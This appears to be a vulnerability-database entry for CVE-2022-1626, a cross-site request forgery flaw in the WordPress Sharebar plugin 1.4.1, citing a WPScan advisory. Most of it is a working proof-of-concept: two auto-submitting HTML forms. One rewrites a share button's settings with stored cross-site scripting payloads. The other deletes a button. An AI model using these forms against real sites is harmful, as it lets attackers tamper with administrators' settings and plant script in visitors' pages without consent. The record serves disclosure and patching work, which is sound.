CVE: CVE-2022-1626

Name: Sharebar (sharebar)

Version: 1.4.1

Date: 2022-04-16 19:02:32

Advisory: https://wpscan.com/vulnerability/3d1f90d9-45da-42f8-93f8-15c8a4ff90ca

Type: CSRF

Exploit: 


<form action="https://example.com/wp-admin/options-general.php?page=Sharebar" method="POST">
    <input type="text" name="name" value="facebook">
    <input type="text" name="position" value="1">
    <input type="text" name="enabled" value="0">
    <input type="text" name="enabled" value="1">
    <input type="text" name="big" value="<a>test1</a><img src=x onerror=alert(1)>">
    <input type="text" name="small" value="<a>test2</a><img src=x onerror=alert(1)>">
    <input type="text" name="do" value="update">
    <input type="text" name="id" value="1">
    <input type="text" name="status" value="Share button has been updated.">
</form>
<script>
    document.forms[0].submit();
</script>


<form action="https://example.com/wp-admin/options-general.php?page=Sharebar" method="POST">
    <input type="text" name="do" value="delete">
    <input type="text" name="id" value="5">
    <input type="text" name="status" value="Button has been deleted.">
</form>
<script>
    document.forms[0].submit();
</script>